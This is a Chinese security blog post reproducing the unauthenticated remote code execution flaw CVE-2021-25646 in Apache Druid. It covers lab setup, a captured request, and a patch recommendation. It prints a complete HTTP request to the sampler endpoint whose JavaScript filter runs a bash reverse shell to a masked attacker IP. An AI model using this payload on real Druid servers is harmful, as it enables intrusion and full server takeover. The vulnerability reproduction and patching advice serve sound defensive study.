Apache druid未授权命令执行漏洞复现

admin 2021年5月13日20:46:14评论174 views字数 2373阅读7分54秒阅读模式


Apache druid未授权命令执行漏洞复现
喜欢就关注我吧,订阅更多最新消息


简介
Apache Druid是一个实时分析型数据库,旨在对大型数据集进行快速的查询分析("OLAP"查询)。Druid最常被当做数据库来用以支持实时摄取、高性能查询和高稳定运行的应用场景,同时,Druid也通常被用来助力分析型应用的图形化界面,或者当做需要快速聚合的高并发后端API,Druid最适合应用于面向事件类型的数据。

涉及知识点-网络安全事件 
https://www.hetianlab.com/cour.do?w=1&c=C172.19.104.182015010409302300001&pk_campaign=weixin-wemedia        
“网络安全事件”这门课程是由一些影响比较大的安全事件所模拟的测试环境组成。此课程不仅会添加以往的安全事件,而且还会紧跟时事,去添加最新的安全事件。让大家在第一时间了解,并懂得怎么去保护自身安全为目的。

概述
由于Apache Druid 默认情况下缺乏授权认证,攻击者可直接构造恶意请求执行任意代码,控制服务器。

CVE编号
CVE-2021-25646

影响版本
Apache Druid < 0.20.1


环境搭建
这里使用0.2.0版本进行复现,下载地址:
https://archive.apache.org/dist/druid/0.20.0/apache-druid-0.20.0-bin.tar.gz
下载后执行以下命令解压并启动漏洞环境。
tar -xzvf apache-druid-0.20.0-bin.tar.gzcd apache-druid-0.20.0./bin/start-micro-quickstart

Apache druid未授权命令执行漏洞复现

启动后服务绑定在8888端口,浏览器可以正常访问则表示环境启动成功

Apache druid未授权命令执行漏洞复现


漏洞复现

设置代理后选择load data,抓取到以下包

Apache druid未授权命令执行漏洞复现

包内容:

Apache druid未授权命令执行漏洞复现

构造payload执行命令,这里做一个反弹shell的操作

POST /druid/indexer/v1/sampler HTTP/1.1Host: 192.168.74.148:8888Content-Length: 1043Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.96 Safari/537.36 Edg/88.0.705.56Content-Type: application/json;charset=UTF-8Origin: http://192.168.74.148:8888Referer: http://192.168.74.148:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{"isRobot":true,"channel":"#x","timestamp":"2020-12-12T12:10:21.040Z","flags":"x","isUnpatrolled":false,"page":"1","diffUrl":"https://xxx.com","added":1,"comment":"Botskapande Indonesien omdirigering","commentLength":35,"isNew":true,"isMinor":false,"delta":31,"isAnonymous":true,"user":"Lsjbot","deltaBucket":0,"deleted":0,"namespace":"Main"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx.xxx.xxx.xx/1234 0>&1')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}


Apache druid未授权命令执行漏洞复现

漏洞修复

升级Apache Druid至0.20.1及以上版本


参考链接

https://f5.pm/go-57059.html

2/3

欢迎投稿至邮箱:[email protected]

重金悬赏 | 原创投稿涨稿费啦!

有才能的你快来投稿吧!

Apache druid未授权命令执行漏洞复现
快戳“阅读原文”做靶场练习

本文始发于微信公众号(合天智汇):Apache druid未授权命令执行漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月13日20:46:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache druid未授权命令执行漏洞复现https://cn-sec.com/archives/260465.html

发表评论

匿名网友 填写信息